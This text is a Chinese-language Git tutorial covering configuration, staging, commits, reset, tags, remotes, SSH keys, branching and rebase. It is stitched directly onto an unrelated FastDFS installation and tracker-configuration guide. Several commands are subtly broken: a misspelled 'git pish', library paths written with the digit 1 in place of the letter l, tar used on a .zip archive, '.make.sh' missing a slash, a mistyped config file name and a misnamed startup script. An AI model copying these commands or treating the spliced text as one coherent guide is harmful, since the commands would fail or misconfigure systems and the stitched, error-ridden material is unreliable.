Git 版本控制工具详解
前言原文来自我的个人博客1. 认识版本控制工具1.1 什么是版本控制?版本控制的英文是 Version Control是维护工程蓝图的标准作法,能追踪工程蓝图从诞生一直到定案的过程版本控制也是一种软件工程技巧,借此能在软件开发的过程中,确保由不同人所编辑的同一程序文件都得到同步;简单来说,版本控制在软件开发中,可以帮助程序员进行代码的追踪、维护、控制等等一系列的操作。1.2 版本控制有什么用?对于我们日常开发,我们常常面临如下一些问题,通过版本控制可以很好的解决:1️⃣ 能够存储管理不同版本:一个项目会不断进行版本的迭代,来修复之前的一些问题、增加新的功能、需求,甚至包括项目的重构;如果我们通过手动来维护一系列的项目备份,简直是一场噩梦;2️⃣ 能够备份维护重大版本:对于很多重大的版本,我们会进行备份管理;3️⃣ 能够恢复之前的项目版本:当我们开发过程中发生一些严重的问题时,想要恢复之前的操作或者回到之前某个版本;4️⃣ 能够记录项目的点点滴滴:如果我们每一个功能的修改、bug的修复、新的需求更改都需要记录下来,版本控制可以很好的解决;5️⃣ 能够合并多人开发的代码:项目中通常都是多人开发,将多人代码进行合并,并且在出现冲突时更好的进行处理;1.3 版本控制的历史1️⃣ 版本控制的史前时代(没有版本控制):人们通常通过文件备份的方式来进行管理,再通过 diff 命令来对比两个文件的差异;2️⃣ CVS(Concurrent Versions System)第一个被大规模使用的版本控制工具,诞生于 1985 年;由荷兰阿姆斯特丹 VU 大学的 Dick Grune 教授实现的,也算是 SVN 的前身( SVN 的出现就是为了取代 CVS 的)。3️⃣ SVN(Subversion)因其命令行工具名为 SVN 因此通常被简称为 SVN;SVN 由 CollabNet 公司于 2000 年资助并发起开发,目的是取代 CVS ,对CVS 进行了很多的优化;SVN 和 CVS 一样,也属于集中式版本控制工具;SVN 在早期公司开发中使用率非常高,但是目前已经被 Git 取代;4️⃣ Git(Linus的作品)早期的时候,Linux 社区使用的是 BitKeeper 来进行版本控制;但是因为一些原因,BitKeeper 想要收回对 Linux 社区的免费授权;于是 Linus 用了大概一周的时间,开发了 Git 用来取代 BitKeeper;Linus 完成了 Git 的核心设计,在之后 Linus 功成身退,将 Git 交由另外一个 Git 的主要贡献者 Junio C Hamano 来维护;1.4 集中式版本控制CVS 和 SVN 都是属于集中式版本控制系统(Centralized Version Control Systems,简称 CVCS)它们的主要特点是单一的集中管理的服务器,保存所有文件的修订版本;协同开发人员通过客户端连接到这台服务器,取出最新的文件或者提交更新;这种做法带来了许多好处,特别是相较于老式的本地管理来说,每个人都可以在一定程度上看到项目中的 其他人正在做些什么但是集中式版本控制也有一个核心的问题: 中央服务器不能出现故障:如果宕机一小时,那么在这一小时内,谁都无法提交更新,也就无法协同工作;如果中心数据库所在的磁盘发生损坏,又没有做恰当备份,毫无疑问你将丢失所有数据;1.5 分布式版本控制Git 是属于分布式版本控制系统(Distributed Version Control System,简称 DVCS )客户端并不只提取最新版本的文件快照, 而是把代码仓库完整地镜像下来,包括完整的历史记录;这么一来,任何一处协同工作用的服务器发生故障,事后都可以**用任何一个镜像出来的本地仓库恢复**;- 因为每一次的克隆操作,实际上都是一次**对代码仓库的完整备份**;
2. Git 的配置2.1 Git 的安装电脑上要想使用 Git,需要先对 Git 进行安装,直接去Git的官网根据自己的操作系统下载 Git 即可;Bash – CMD – GUI 区别?在 Windows 中Git 的安装完成后,可以在开始菜单中看到 Git 的三个启动图标 Git Bash、Git CMD(Deprecated)、Git GUI,那个这三个的区别分别是什么呢?Bash:Unix shell 的一种,Linux 与 Mac OS X 都将它作为默认 shell。Git Bash 就是一个 shell,是 Windows 下的命令行工具,可以执行 Linux 命令;Git Bash 是基于 CMD 的,在 CMD 的基础上增添一些新的命令与功能;建议在使用的时候,用 Bash 更加方便;Git CMD命令行提示符(CMD)是 Windows 操作系统上的命令行解释程序;当你在 Windows 上安装 Git 并且习惯使用命令行时,可以使用 cmd 来运行 git 命令;Git GUI基本上针对那些不喜欢黑屏(即命令行)编码的人;它提供了一个图形用户界面来运行 git 命令;2.2 Git 的配置分类Git 自带一个 git config 的工具来帮助设置控制 Git 外观和行为的配置变量。 这些变量存储在三个不同的位置:/etc/gitconfig 文件: 包含系统上每一个用户及他们仓库的通用配置。 如果在执行 git config 时带上 --system 选项,那么它就会读写该文件中的配置变量。 (由于它是系统配置文件,因此你需要管理员或超级用户权限来修改它。)~/.gitconfig 或 ~/.config/git/config 文件:只针对当前用户。 你可以传递 --global 选项让 Git 读写此文件,这会对你系统上 所有 的仓库生效。当前使用仓库的 Git 目录中的 config 文件(即 .git/config):针对该仓库。 你可以传递 --local 选项让 Git 强制读写此文件,虽然默认情况下用的就是它。 (当然,你需要进入某个 Git 仓库中才能让该选项生效。)每一个级别会覆盖上一级别的配置,所以 .git/config 的配置变量会覆盖 /etc/gitconfig 中的配置变量。2.3 Git 的配置选项安装完 Git 之后,要做的第一件事就是设置你的用户名和邮件地址。 这一点很重要,因为每一个 Git 提交都会使用这些信息,它们会写入到你的每一次提交中,不可更改:$ git config --global user.name "John Doe"
$ git config --global user.email johndoe@example.com强调:如果使用了 --global 选项,那么该命令只需要运行一次,因为之后无论你在该系统上做任何事情, Git 都会使用那些信息;检测当前的配置信息: git config --list$ git config --list
user.name=John Doe
user.email=johndoe@example.com
color.status=auto
color.branch=auto
color.interactive=auto
color.diff=auto
...2.4 Git 的别名(Alias)Git 并不会在你输入部分命令时自动推断出你想要的命令如果不想每次都输入完整的 Git 命令,可以通过 git config 文件来轻松地为每一个命令设置一个别名。coder@coder ~ % git config --global alias.co checkout
coder@coder ~ % git config --global alias.br branch
coder@coder ~ % git config --global alias.cm commit
coder@coder ~ % git config --global alias.st status例如,我在上面配置了 st 别名,那么我下次想检查 git 状态就可以直接执行 git st 了coder@coder demo % git st
On branch dev
Your branch is ahead of 'origin/dev' by 1 commit.
(use "git push" to publish your local commits)
nothing to commit, working tree clean3. Git 基础3.1 获取Git仓库 – git init/git clone如果我们要用 Git 来管理源代码,那么我们就需要有一个 Git 仓库。通常有两种获取 Git 项目仓库的方式:方式一:初始化一个Git仓库,并且可以将当前项目的文件都添加到Git仓库中(目前很多的脚手架在创建项目时都会默认创建一个Git仓库); git init该命令将创建一个名为 .git 的子目录,这个子目录含有你初始化的 Git 仓库中所有的必须文件,这些文件是 Git 仓库的核心。但是,在这个时候,我们仅仅是做了一个初始化的操作,你的项目里的文件还没有被跟踪;方式二:从其它服务器 克隆 (clone) 一个已存在的 Git 仓库(第一天到公司通常我们需要做这个操作);从 Git 远程仓库git clone https://github.com/coderyjw/jw-ui.git3.2 文件的状态划分Git 仓库 将文件状态划分为 未跟踪 和 已跟踪未跟踪:未跟踪的文件就是没有添加到 Git仓库 管理的文件,默认情况下都是未跟踪文件,我们需要通过 add命令 来操作;已跟踪:添加到 Git仓库管理的文件处于已跟踪状态,Git 可以对其进行各种跟踪管理;已跟踪的文件又可以进行细分状态划分:staged:暂缓区中的文件状态;Unmodified:commit 命令,可以将 staged 中文件提交到 Git 仓库Modified:修改了某个文件后,会处于 Modified 状态;在工作时,你可以选择性地将这些修改过的文件放入暂存区,然后提交所有已暂存的修改,如此反复;3.3 检测文件的状态 - git status我们在有 Git 仓库的目录下新建一个文件,查看文件的状态:git statusUntracked files:未跟踪的文件未跟踪的文件意味着 Git 在之前的提交中没有这些文件;Git 不会自动将之纳入跟踪范围,除非你明明白白地告诉它“我需要跟踪该文件”;我们也可以查看更加简洁的状态信息:git status --shortgit status --s左栏指明了暂存区的状态,右栏指明了工作区的状态;3.4 文件添加到暂存区 – git add跟踪新文件命令: git add aaa.js使用命令 git add 开始跟踪一个文件。跟踪修改的文件命令:如果我们已经跟踪了某一个文件,这个时候修改了文件也需要重新添加到暂存区中;此外,可以通过 git add . 将所有的文件添加到暂存区中:3.5 git 忽略文件一般我们总会有些文件无需纳入 Git 的管理,也不希望它们总出现在未跟踪文件列表。通常都是些自动生成的文件,比如日志文件,或者编译过程中创建的临时文件等;我们可以创建一个名为 .gitignore 的文件 ,列出要忽略的文件的模式;在实际开发中,这个文件通常不需要手动创建,在必须的时候添加自己的忽略内容即可;比如下面是创建的 Vue 项目自动创建的忽略文件:包括一些不需要提交的文件、文件夹;包括本地环境变量文件;包括一些日志文件;包括一些编辑器自动生成的文件;3.6 文件更新提交 – git commit现在的暂存区已经准备就绪,可以提交了。每次准备提交前,先用 git status 看下,你所需要的文件是不是都已暂存起来了;再运行提交命令 git commit;可以在 commit 命令后添加 -m 选项,将提交信息与命令放在同一行;**`git commit –m "提交信息"`**

**如果我们修改文件的 add 操作,加上 commit 的操作有点繁琐,那么可以将两个命令结合来使用: git commit -a -m "修改了bbb文件"**
3.7 Git 校验和Git 中所有的数据在存储前都计算校验和,然后以 校验和 来引用。Git 用以计算校验和的机制叫做 SHA-1 散列(hash,哈希);这是一个由 40 个十六进制字符(0-9 和 a-f)组成的字符串,基于 Git 中文件的内容或目录结构计算出来;3.8 查看提交的历史 – git log提交了若干更新,又或者克隆了某个项目之后,有时候我们想要查看一下所有的历史提交记录。这个时候我们可以使用 git log 命令:不传入任何参数的默认情况下,git log 会按时间先后顺序列出所有的提交,最近的更新排在最上面;这个命令会列出每个提交的 SHA-1 校验和、作者的名字和电子邮件地址、提交时间以及提交说明;git loggit log --pretty=onelinegit log --pretty=oneline --graph
3.9 版本回退 – git reset如果想要进行版本回退,我们需要先知道目前处于哪一个版本:Git 通过 HEAD指针 记录当前版本。HEAD 是当前分支引用的指针,它总是指向该分支上的最后一次提交;理解 HEAD 的最简方式,就是将它看做 该分支上的最后一次提交 的快照; 
我们可以通过 HEAD 来改变 Git 目前的版本指向:上一个版本就是 HEAD^,上上一个版本就是 HEAD^^;如果是上 1000 个版本,我们可以使用 HEAD~1000;我们可以指定某一个 commit id;git reset --hard HEAD^
git reset --hard HEAD~1000
git reset --hard 2d449823.10 Git 标签像其他版本控制系统(VCS)一样,Git 可以给仓库历史中的某一个提交打上标签,以示重要。 比较有代表性的是人们会使用这个功能来标记发布结点( v1.0 、 v2.0 等等)。列出标签 git tag可带上可选的 -l 选项 --list$ git tag
v1.0
v2.0创建标签Git 支持两种标签:轻量标签 (lightweight) 与附注标签(annotated);附注标签:通过 -a 选项,并且通过 -m 添加额外信息;git tag v1.0
git tag -a v.1.1 -m "附注标签"默认情况下,git push 命令并不会传送标签到远程仓库服务器上。 在创建完标签后必须显式地推送标签到共享服务器上,当其他人从仓库中克隆或拉取,他们也能得到那些标签;git push origin v1.0
git pish origin --tags删除标签要删除本地仓库上的标签,可以使用命令 git tag -d <tagname>git tag -d v1.1
Deleted Tag 'v1.1' (was 9d76105)要删除远程的 tag 可以通过git push <remote> –delete <tagname>git push origin --delete v1.1检出标签如果想查看某个标签所指向的文件版本,可以使用 git checkout 命令;通常在检出 tag 的时候还会创建一个对应的分支(分支后续了解);git checkout v1.0
Note: switching to 'v1.0'4. 远程仓库4.1 什么是远程仓库什么是远程仓库(Remote Repository)呢?目前我们的代码是保存在一个本地仓库中,也就意味着我们只是在进行本地操作;在真实开发中,我们通常是多人开发的,所以我们会将管理的代码共享到远程仓库中;那么如何创建一个远程仓库呢?远程仓库通常是搭建在某一个服务器上的(当然本地也可以,但是本地很难共享);所以我们需要在 Git 服务器上搭建一个远程仓库;目前我们有如下方式可以使用 Git 服务器:使用第三方的 Git 服务器:比如 GitHub、Gitee、Gitlab 等等;在自己服务器搭建一个 Git 服务;4.2 远程仓库的验证目前比较流行的远程仓库:GitHub、Gitee、自己搭建Gitlab对于私有的仓库我们想要进行操作,远程仓库会对我们的身份进行验证。如果没有验证,任何人都可以随意操作仓库是一件非常危险的事情;目前 Git 服务器验证手段主要有 HTTP 和 SSH 两种基于 HTTP 的凭证存储(Credential Storage)因为本身 HTTP 协议是无状态的连接,所以每一个连接都需要用户名和密码。如果每次都这样操作,那么会非常麻烦。幸运的是,Git 拥有一个凭证系统来处理这个事情。下面有一些 Git Crediential 的选项:选项一:默认所有都不缓存。 每一次连接都会询问你的用户名和密码;选项二:cache 模式会将凭证存放在内存中一段时间。 密码永远不会被存储在磁盘中,并且在15分钟后从内存中清除;选项三:store 模式会将凭证用明文的形式存放在磁盘中,并且永不过期;选项四:如果你使用的是 Mac,Git 还有一种 osxkeychain 模式,它会将凭证缓存到你系统用户的钥匙串中(加密的);选项五:如果你使用的是 Windows,你可以安装一个叫做 Git Credential Manager for Windows” 的辅助工具;如果你在 2.1 中按照默认的步骤安装 Git,那么这个工具是会默认有的。基于 SSH 的密钥Secure Shell(安全外壳协议,简称SSH)是一种加密的网络传输协议,可在不安全的网络中为网络服务提供安全的传输环境。SSH以非对称加密实现身份验证。其中一种方法是使用自动生成的公钥-私钥对来简单地加密网络连接,随后使用密码认证进行登录。而更常见的方法是人工生成一对公钥和私钥,通过生成的密钥进行认证,公钥需要放在待访问的电脑之中,而对应的私钥需要由用户自行保管;这样就可以在不输入密码的情况下登录;选择下面一条命令生成公钥和私钥ssh-keygen -t rsa -b 2048 -C “your email"
ssh-keygen -t ed25519 -C "your email"将生成的公钥复制到远程服务器的 SSH公钥 中4.3 远程仓库的交互从远程仓库clone代码:将存储库克隆到新创建的目录中;git clone https://github.com/coderyjw/jw-ui.git将代码 push 到远程仓库:将本地仓库的代码推送到远程仓库中;默认情况下是将当前分支(比如master)`push` 到 `origin` 远程仓库的;git push
git push origin master从远程仓库 fetch 代码:从远程仓库获取最新的代码默认情况下是从 origin 中获取代码;git fetch
git fetch origin获取到代码后默认并没有合并到本地仓库,我们需要通过 merge 来合并;git merge从远程仓库 pull 代码:上面的两次操作有点繁琐,我们可以通过一个命令来操作远程仓库的交互git pull
git fetch + git merge(rebase)4.4. Git 操作流程图Git 操作的流程图如下:下图有一份远程仓库 Remote Repo, Alice 和 Bob 通过 git clone 命令将远程仓库克隆到他们各自本地的电脑仓库上。 (Alice‘s Local Repo 和 Bob‘s Local Repo)Alice 在本地文件夹 Working Directory 新建一份文件,此时文件处于未跟踪状态Alice 通过 git add 命令添加到 Index 索引中跟踪文件,此时文件处于已跟踪 staged 状态。Alice 修改文件,进入 Modified 状态, 再执行 git add 命令进入 staged 状态Alice 多次修改并且 git add 后,执行 git commit 命令,将 staged 中文件提交到 .git Directory ,此时进入 Unmodified 状态Alice 执行 git push 命令 将本地仓库代码提交到远程仓库Bob 执行 git pull 命令,拉取远程仓库最新的代码到本地接下来 Bob 也可以按照 1-6 的步骤修改文件提交代码这样持续开发下去5. 分支5.1 创建分支Git 创建一个新分支就只是创建了一个可以移动的新的指针比如创建一个 testing 分支, 需要使用 git branch 命令git branch testing5.2 切换分支Git 通过一个名为 HEAD 的特殊指针知道当前在哪一个分支上,可以通过 git checkout 命令切换分支。通常我们会想创建一个新分支后立即切换过去。这可以用 git checkout -b <newbranchname> 一条命令搞定;5.3 合并分支实际场景:开发某个项目,在默认分支 master 上进行开发;实现项目的功能需求,不断提交;并且在一个大的版本完成时,发布版本,打上一个 tag v1.0.0;继续开发后续的新功能,正在此时,突然接到一个电话说有个很严重的问题需要紧急修补,切换到 tag v1.0.0 的版本,并且创建一个分支 hotfix;在分支上开发、修复 bug当完成要做的工作后,重新打上一个新的 tag v1.0.1;切换回 master 分支,但是这个时候 master 分支也需要修复刚刚的 bug最后将 master 分支和 hotfix 分支进行合并;5.4 查看和删除分支如果我们希望查看当前所有的分支,可以通过以下命令:git branch # 查看当前所有的分支
git branch –v # 同时查看最后一次提交
git branch --merged # 查看所有合并到当前分支的分支
git branch --no-merged # 查看所有没有合并到当前分支的分支如果某些已经合并的分支我们不再需要了,那么可以将其移除掉:git branch –d hotfix # 删除当前分支
git branch –D hotfix # 强制删除某一个分支5.5 远程分支的管理推送分支到远程git push <remote> <branch>跟踪远程分支克隆一个仓库时,它通常会自动地创建一个跟踪 origin/master 的 master 分支;如果检出的分支 (a) 不存在且 (b) 刚好只有一个名字与之匹配的远程分支,那么 Git 就会创建一个跟踪分支;git checkout --track <remote>/<branch> # 设置跟踪分支
git checkout <branch>删除远程分支如果某一个远程分支不再使用,我们想要删除掉,可以运行带有 --delete 选项的 git push 命令来删除一个远程分支。git push origin --delete <branch>5.6 Git rebase在 Git 中整合来自不同分支的修改主要有两种方法:merge 以及 rebase。什么是 rebase ?在上面的图例中,你可以提取在 C4 中引入的补丁和修改,然后在 C3 的基础上应用一次;在 Git 中,这种操作就叫做 变基(rebase);你可以使用 rebase 命令将提交到某一分支上的所有修改都移至另一分支上,就好像“重新播放”一样;rebase 这个单词如何理解呢?我们可以将其理解成改变当前分支的 base;比如在分支 experiment 上执行 rebase master,那么可以改变 experiment的 base 为 mastergit checkout experiment
git rebase masterrebase 的原理rebase 的原理是首先找到这两个分支(即当前分支 experiment、变基操作的目标基底分支 master) 的最近共同祖先 C2;然后对比当前分支相对于该祖先的历次提交,提取相应的修改并存为临时文件;然后将当前分支指向目标基底 C3;最后以此将之前另存为临时文件的修改依序应用;再次执行 master 上的合并操作git checkout master
git merge experimentrebase 和 merge 的选择merge 用于记录 git 的所有历史,那么分支的历史错综复杂,也全部记录下来rebase 用于简化历史记录,将两个分支的历史简化,整个历史更加简洁了解了rebase的底层原理,就可以根据自己的特定场景选择merge或者rebase。注意:rebase 有一条黄金法则:永远不要在主分支上使用 rebase如果在 main 上面使用 rebase,会造成大量的提交历史在 main 分支中不同;而多人开发时,其他人依然在原来的 main 中,对于提交历史来说会有很大的变化;6. Git常见命令速查表
爆肝两万字,详解fastdfs分布式文件系统
1.学习目标2.简介技术论坛:http://bbs.chinaunix.net/forum-240-1.html资源地址:https://sourceforge.net/projects/fastdfs/源码地址:https://github.com/happyfish100FastDFS是一个开源的轻量级分布式文件系统,它对文件进行管理,功能包括:文件存储、文件同步、文件访问(文件上传、文件下载)等,解决了大容量存储和负载均衡的问题。特别适合以文件为载体的在线服务,如相册网站、视频网站等等。FastDFS为互联网量身定制,充分考虑了冗余备份、负载均衡、线性扩容等机制,并注重高可用、高性能等指标,使用FastDFS很容易搭建一套高性能的文件服务器集群提供文件上传、下载等服务。FastDFS服务端有两个角色:跟踪器(tracker)和存储节点(storage)。跟踪器主要做调度工作,在访问上起负载均衡的作用。存储节点存储文件,完成文件管理的所有功能:就是这样的存储、同步和提供存取接口,FastDFS同时对文件metadata进行管理。所谓文件的metadata就是文件的相关属性,以键值对(key value)方式表示,如:width=1024,其中的key为width,value为1024。文件metadata是文件属性列表,可以包含多个键值对。跟踪器和存储节点都可以由一台或多台服务器构成。跟踪器和存储节点中的服务器均可以随时增加或下线而不会影响线上服务。其中跟踪器中的所有服务器都是对等的,可以根据服务器的压力情况随时增加或减少。为了支持大容量,存储节点(服务器)采用了分卷(或分组)的组织方式。存储系统由一个或多个卷组成,卷与卷之间的文件是相互独立的,所有卷的文件容量累加就是整个存储系统中的文件容量。一个卷可以由一台或多台存储服务器组成,一个卷下的存储服务器中的文件都是相同的,卷中的多台存储服务器起到了冗余备份和负载均衡的作用在卷中增加服务器时,同步已有的文件由系统自动完成,同步完成后,系统自动将新增服务器切换到线上提供服务。当存储空间不足或即将耗尽时,可以动态添加卷。只需要增加一台或多台服务器,并将它们配置为一个新的卷,这样就扩大了存储系统的容量。FastDFS中的文件标识分为两个部分:卷名和文件名,二者缺一不可。2.1.架构图解释:写入假设我现在client要上传文件,我要找到跟踪器tracker,tracker找到client,然后tracker找到存储节点,看看存储节点那个卷下面的节点比较空闲,能放得下这个文件,然后写入进去,生成一个文件名读取如果我们client要下载文件,不需要与tracker再做交互,直接与storage打交道,根据我们当时上传文件tracker给我们提供的文件名,我们加上服务器名字和端口号再加上完整的文件名即可读取下载成功主备切换我们storage存储节点是由多个卷构成的一个大的集群,比方说c d e盘构成一个硬盘,每个卷又分成主和子,他们两者文件类型一致,如果主服务器崩了,子服务器马上可以顶上2.2.上传流程client询问tracker上传到的storage,不需要附加参数tracker返回一台可用的storage;client直接和storage通讯完成文件上传2.3.下载流程client询问tracker下载文件的storage,参数为文件标识(组名和文件名);tracker返回一台可用的storage;client直接和storage通讯完成文件下载。client可以直接去到Storage进行在线的读取和下载,这个在线读取和下载前提是我们知道它的一个ip地址和端口号,后面跟上卷名,再跟上文件名,我们如果知道这个完整路径的话,可以直接去到我们存储节点进行在线预览,或者是在线下载;如果我们现在只知道一个卷名和文件名,我们并不知道ip和端口,我们也可以去找我们的tracker,拿着我们的卷名和文件名去找我们的跟踪器,跟踪器就会找到对应的卷名和文件名所在的节点,会把这个存储节点的ip地址和端口号返回给我们的客户端,然后我们client再次通过我们的ip端口卷名文件名,然后直接通过我们的存储节点进行我们的读取和下载操作,一般我们如果考虑效率问题的话,肯定是我们直接拿着ip端口卷名文件名直接去存储节点,读取我们的一个文件,如果实在是不知道ip和端口情况下,可能就需要通过我们tracker,但一般情况下,我们tracker上传的时候,我们tracker会返回一个完整的卷名和文件名加ip和端口,我们一般呢会把返回的相对路径存放到数据库里面去,那我们需要进行文件预览和下载的时候呢,我们一般从数据库拿到我们带有ip和端口的卷名和文件名这一整串信息的数据直接去storage进行一个下载 ,效率更高一点!!!2.4.术语介绍TrackerServer:跟踪服务器,主要做调度工作,在访问上起负载均衡的作用,记录storage server的状态,是连接Client和Storage server的枢纽。Storage Server:存储服务器,文件和meta data都保存到存储服务器上group:组,也称为卷,同组内服务器上的文件是完全相同的【主崩子接】文件标识:包括两部分:组名和文件名(包含路径)meta data:文件相关属性,键值对(Key Value Pair)方式,如:width1024,height=7682.5.同步机制同一组内的storage server之间是对等的,文件上传、删除等操作可以在任意一台storage server上进行;【比方我们client去进行写操作,会根据tracker自己去调度,假设三台服务器,会根据tracker调度结果,返回里面任意一台的IP地址和端口,主要是看storage那一台服务器符合调度的一个规则,比方说那一台storage它现在是空闲的,那一台storage它的一个剩余磁盘容量能放下这个文件,它返回的并不一定是某一台的ip地址,可能是三台里面随机选一个ip地址或者端口进行返回】文件同步只在组内的storage server之间进行,采用push方式,即源服务器同步给目标服务器;【采用广播方式,比如说我们现在是一个高并发,每一台都正好在进行写操作,传统的我们一个服务器新增了数据量,它们之间要进行一个相互通信,一直通信到最后一个服务器,再进行相应的数据同步,表示我这里现在新增了数据,你和我同步一下,这是传统的,我们发现它们相互通信的次数非常频繁;所以我们一般采用广播模式,比方说我们某个服务器写了一条数据,它就会广播告诉其它服务器,表示我这里新增了数据,你们也新增一下;】源头数据才需要同步,备份数据不需要再次同步,否则就构成环路了;【被写入数据称为源服务器;我们源头数据才需要进行一个同步,如果是备份数据不需要广播同步,一直不停广播就形成环路了!!!】上述第二条规则有个例外,就是新增加一台storage server时,由已有的一台storage server将已有的所有数据(包括源头数据和备份数据)同步给新增服务器 【假设我们有三台服务器,增加了一台,加的这一台就会从我们原有的三台里面,随机选一台作为一个源头数据,然后就会把这个源头数据和我们的备份数据同步到新增的服务器里面】2.6.FastDFS运行时目录结构2.6.1.Tracker Server目录2.7.FastDFS和其它文件存储的简单对比2.7.1.FastDFS和集中存储方式对比指标FastDFSNFS集中存储设备加 NetApp、NAS线性扩容性高【扩容好】差差文件高并发访问性能高【速度快】差一般文件访问方式专用API【有自己的AIP】POSIX【可移植操作系统接口】POSIX硬件成本较低【成本低】中等【硬盘成本高】高【硬盘成本高】相同内容文件只保存一份支持【相同文件只有只保留一份】不支持不支持2.7.2.FastDFS和mogileFS对比指标FastDFSmogileFS系统简洁性简洁 只有两个角色:tracker和storage一般有三个角色:trocker、storage和存储文件信息的mysql db系统性能很高(没有使用数据库,文件同步直接点对点,不经过tracker中转)高(使用mysql来存储文件索引信息,文件同步通过tracker调度和中转)系统稳定性高(C语言开发,可以支持高并发和高负载)一般(Perl语言开发,高并发和高负载支持一般)【没有C语言高并发高负载好】RAID方式分组(组内冗余),灵活性较大动态冗余,灵活性一般通信协议专用协议,下载文件支持http【专用协议最大的好处就是写的操作效率跟高,在tcp/ip之上】http技术文档较详细较少文件附加属性(meta data)支持【文件相关属性存储在storage】不支持相同内容只保存一份支持【根据文件相关属性判断,如果属性一致则覆盖】不支持下载文件时支持文件偏移量【断点续传, 从指定位置向前向后移动的字节数,比如我们下载一个文件一半点暂停,然后再点开始会从你已经下载好的进度开始,而有的文件你点了暂停可能就让你从头开始下载】支持不支持有没有比FastDFS更好的呢?当然有,那就是我们的hdfs,hdfs更多的是大数据方面去用,它的性能会比FastDFS更好一点3.安装3.1.安装简介FastDFS主要是两个角色,一个tracker和storage,它们本质上都是一个FastDFS一个包,它们通过对应不同配置来确认它们不同的角色,所以它们通用的安装都是FastDFS的安装包我们这边也准备了两台服务器,一台是安装我们tracker,一台安装storage,它们只是对应角色配置不一样如果电脑配置比较差的话,也可以直接安装在一台服务器上,只需修改对应角色配置即可,安装包都是一样,也可以实现!!!3.2.FastDFS安装包上传所选安装包第一个就是fastdfs安装包第二个对应client安装包第三个是nginx模块包第四个就是fastdfs公用的库第五个fastdfs和nginx整合3.3.安装依赖3.3.1.安装c++相关依赖我们fastdfs是根据C语言进行开发的,所以我们需要安装C++相关依赖yum -y install cmake gcc-c++3.3.2.安装fastdfs核心库安装完成之后,我们还需要安装我们fastdfs核心库这个核心库呢其实是从fastdfs和fastdht中提取出来的公用的C函数的库,fastdfs和fastdht是同样一个作者去写的两个产品,都是C语言编写,然后里面会有一些公用函数库,作者把它提取出来当成一个专门核心库如果我们后缀名是.zip,需要安装一个zip解压插件yum -y install unzip我们把需要安装的fastdfs所以文件放在一个文件夹方便管理mkdir -p /usr/local/fastdfs然后我们就可以去解压了zip后缀unzip libfastcommon-1.0.43.ziptar后缀tar -zxvf libfastcommon-1.0.43.zip我们进行之后看见有一个make.sh执行脚本,我们就通过这个脚本去进行一个编译和安装.make.sh这样就会进行编译编译好后我们就可以进行安装了.make.sh install还有一个问题就是我们fastdfs主程序的lib目录是在/usr/local/lib下面的,所以我们需要去创建一些软链接,这些软链接就相当于快捷方式,把它的一个快捷方式从原本指向的目录改成我们想要的指向的目录这个意思相当把前面原本指向的路径指定到我们后面需要我们指定路径ln -s /usr/1ib64/1ibfastcommon.so /usr/local/lib/libfastcommon.so
ln -s /usr/local/lib64/libfdfsclient.so /usr/local/lib/libfdfsclient.so
ln -s /usr/local/lib64/libfdfsclient.so /usr/lib/libfdfsclient.so3.3.3.安装fastdfstar -zxvf fastdfs-6.06.tar.gz我们发现这里也有make.sh我们可以做一个可选的操作,就是说我们可以把它的一个路径改成指定的路径,因为它默认安装路径是在/usr下面,我们可以把它改成/usr/local下面去,当然在集群下面就不要去改,那我们现在是安装的一个单节点,可以去尝试的改一下我们进入fastdfsvim make.sh我们搜索/TAGE_PREFIX我们把它改到/usr/local然后我们再次去安装./make.sh 先编译再安装./make.sh install安装后,FastDFS主程序所在的位置是:/usr/local/bin可执行文件所在位置。默认安装在/usr/bin中。/etc/fdfs配置文件所在位置。就是默认位置。/usr/1oca1/1ib64主程序代码所在位置。默认在usr/bin中。/usr/local/irclude/fastdfs包含的一些插件组所在位置。默认在/usr/include/fastdfs中。安装好了之后,我们可以去看一下服务脚本所在位置cd /etc/init.d/然后我们可以看一下我们配置文件的模板所在位置cd /etc/fdfs/如果我们这台服务器当做tracker来用的话,只需拷贝tracker配置拷贝过去进行修改,把后面的.sample删掉就可以用了,建议不要拿源文件直接用,最好是拷贝过去再进行修改,因为如果改错了还有备份!!!我们还可查看内置命令所在目录cd /usr/local/bin/这个就是fastdfs内置命令,包括重启,启动,停止,还有测试,跟踪等等。。。到这里,我们整个tracker服务器的fastdfs安装好了!!!同理,我们还要去安装storage,拿storage的安装和tracker是一模一样的,只是配置文件不同,其它安装包都一样,所以我们如果在同一台服务器部署只需修改配置文件即可!!! 4.配置tracker4.1.拷贝tracker.conf.sample我们首先进入配置文件模板cd /etc/fdfs我们看到里有个tracker.conf.sample然后我们拷贝一下,到conf就行cp tacker..sample tracker.conf4.2.配置tracker.conf然后我们就可以进行配置了vim tracker.conf我们简单了解一下里面的属性bind_addr = 绑定的ip地址port = 22122 端口号connect_timeout = 5 连接超时network_timeout = 60 网络超时base_path = /home/yuqing/fastdfs【这个是fastdfs我们一个tracker启动之后使用的一个根目录,它呢也要去存储一些信息,它存储的就是我们卷里面的一些storage的存储节点,包括我们卷1 卷2 卷3 每个卷下面有哪些storage,每个storage它的ip和它的端口都要去存储一下,因为它是做一个中转调度操作,client发起一个写操作的时候,我们的一个tracker就会去调度找到哪一个节点可以给我们去写操作,然后会返回ip和端口,tracker需要把我们卷下面的所有的一个存储节点ip和端口存储一下,这边我们可以把这个目录修改一下,base_path = /fastdfs/tracker,这个目录是我们自定义的,待会我们要去创建这个目录】max_connections = 1024 最大连接accept_threads = 1 接收的线程work_threads = 4 工作的线程min_buff_size = 8KB 最小缓冲8KBmax_buff_size = 128KB 最大的缓冲store_server = 0 负载均衡策略,0表示轮询机制,如果是1的话,就是第一个服务器通过我们ip地址查找到的第一个服务器,如果是2的话查找出来的也是第一个服务器,不是通过ip地址store_path = 0 默认轮询download_server = 0 下载服务默认轮询这里我们就配置完成了,我们主要配置base_path 根目录即可!!!然后我们别忘了创建刚才自定义的目录mkdir -p /fastdfs/tracker4.3.启动tracker我们创建完目录呢,就可以启动tracker了,来到启动目录cd /etc/init.d/我们看到有两个文件 fdfs_trackerd和fdfs_storaged这两个就是我们启动的文件我们之前安装的时候,我们修改过它的一个目录,所以呢我们这边启动的时候呢,也去修改它的一个目录,如果我们没有去修改它的目录,这边可以直接启动!!!我们进入配置文件修改目录即可!!!vim fdfs_trackerd我们修改之后应该是/usr/local/bin/fdfs_trackerd,保存并退出, 启动即可./fdfs_trackerd start怎么去看有没有启动成功呢?两种方法:查看状态./fdfs_trackerd status查看进程ps -ef|grep fdfs停止.fdfs_trackerd stop重启/etc/init.d/fdfs_trackerd restart开机启动我们进入文件vim /etc/rc.d/rc.local添加启动文件/etc/init.d/fdfs_tracked 